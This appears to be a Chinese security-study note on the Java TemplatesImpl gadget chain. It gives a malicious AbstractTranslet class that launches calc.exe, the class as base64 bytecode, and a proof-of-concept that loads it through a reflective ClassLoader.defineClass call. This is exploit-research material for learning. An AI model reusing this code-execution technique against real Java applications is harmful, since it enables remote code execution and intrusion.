TemplatesImpl 链子

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TemplatesImpl#getOutputProperties() -> 
TemplatesImpl#newTransformer() -> 
TemplatesImpl#getTransletInstance() -> 
TemplatesImpl#defineTransletClasses() -> 
TransletClassLoader#defineClass()

defineClass一般我们不能使用，newTransformer就可以外调了，但是也可以getOutputProperties

POC

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package demo1;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

import java.io.IOException;

public class EvilClass extends AbstractTranslet {
    public EvilClass() throws IOException {
        Runtime.getRuntime().exec("calc.exe");
    }

    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException{

    }
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException{

    }

//    public static void main(String[] args) throws Exception{
//        EvilClass evilClass = new EvilClass();
//    }

}

将其编译为字节码文件

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package demo1;

import java.io.ByteArrayOutputStream;
import java.io.FileInputStream;
import java.util.Base64;
import java.util.Base64.Encoder;

public class HelloWorld {
    public static void main(String args[]) {
        byte[] buffer = null;
        String filepath = ".\\src\\demo1\\EvilClass.class";
        try {
            FileInputStream fis = new FileInputStream(filepath);
            ByteArrayOutputStream bos = new ByteArrayOutputStream();
            byte[] b = new byte[1024];
            int n;
            while((n = fis.read(b))!=-1) {
                bos.write(b,0,n);
            }
            fis.close();
            bos.close();
            buffer = bos.toByteArray();
        }catch(Exception e) {
            e.printStackTrace();
        }
        Encoder encoder = Base64.getEncoder();
        String value = encoder.encodeToString(buffer);
        System.out.println(value);
    }
}

得到

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yv66vgAAADQAJgoABwAXCgAYABkIABoKABgAGwcAHAoABQAXBwAdAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEACkV4Y2VwdGlvbnMHAB4BAAl0cmFuc2Zvcm0BAHIoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007W0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYHAB8BAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAEbWFpbgEAFihbTGphdmEvbGFuZy9TdHJpbmc7KVYHACABAApTb3VyY2VGaWxlAQAORXZpbENsYXNzLmphdmEMAAgACQcAIQwAIgAjAQAIY2FsYy5leGUMACQAJQEACUV2aWxDbGFzcwEAQGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0VHJhbnNsZXQBABNqYXZhL2lvL0lPRXhjZXB0aW9uAQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQATamF2YS9sYW5nL0V4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsAIQAFAAcAAAAAAAQAAQAIAAkAAgAKAAAALgACAAEAAAAOKrcAAbgAAhIDtgAEV7EAAAABAAsAAAAOAAMAAAAKAAQACwANAAwADAAAAAQAAQANAAEADgAPAAIACgAAABkAAAADAAAAAbEAAAABAAsAAAAGAAEAAAARAAwAAAAEAAEAEAABAA4AEQACAAoAAAAZAAAABAAAAAGxAAAAAQALAAAABgABAAAAFAAMAAAABAABABAACQASABMAAgAKAAAAJQACAAIAAAAJuwAFWbcABkyxAAAAAQALAAAACgACAAAAFwAIABgADAAAAAQAAQAUAAEAFQAAAAIAFg

poc

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package demo1;


import java.lang.reflect.Method;
import java.util.Base64;

public class demo1 {
    public static void main(String[] args) throws Exception {

        //反射获取ClassLoader#defineClass
        Class clazz = Class.forName("java.lang.ClassLoader");
        Method defineClassMethod = clazz.getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class);
        defineClassMethod.setAccessible(true);

        // 先编译Evil.java，再进行base64编码
      //javac EvilClass.java 运行helloworld
        byte[] bytes = Base64.getDecoder().decode("yv66vgAAADQAIQoABgATCgAUABUIABYKABQAFwcAGAcAGQEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAaAQAJdHJhbnNmb3JtAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWBwAbAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEAClNvdXJjZUZpbGUBAA5FdmlsQ2xhc3MuamF2YQwABwAIBwAcDAAdAB4BAAhjYWxjLmV4ZQwAHwAgAQAPZGVtbzEvRXZpbENsYXNzAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAE2phdmEvaW8vSU9FeGNlcHRpb24BADljb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7ACEABQAGAAAAAAADAAEABwAIAAIACQAAAC4AAgABAAAADiq3AAG4AAISA7YABFexAAAAAQAKAAAADgADAAAADAAEAA0ADQAOAAsAAAAEAAEADAABAA0ADgACAAkAAAAZAAAAAwAAAAGxAAAAAQAKAAAABgABAAAAEwALAAAABAABAA8AAQANABAAAgAJAAAAGQAAAAQAAAABsQAAAAEACgAAAAYAAQAAABYACwAAAAQAAQAPAAEAEQAAAAIAEg==");

        Class targetClass = (Class) defineClassMethod.invoke(ClassLoader.getSystemClassLoader(),"demo1.EvilClass",bytes,0,bytes.length);
        //demo1.EvilClass 包名，例如com.example.
        targetClass.newInstance();

    }
}

成功！

人生是狂野，而不是轨道；

你我皆会在终点相遇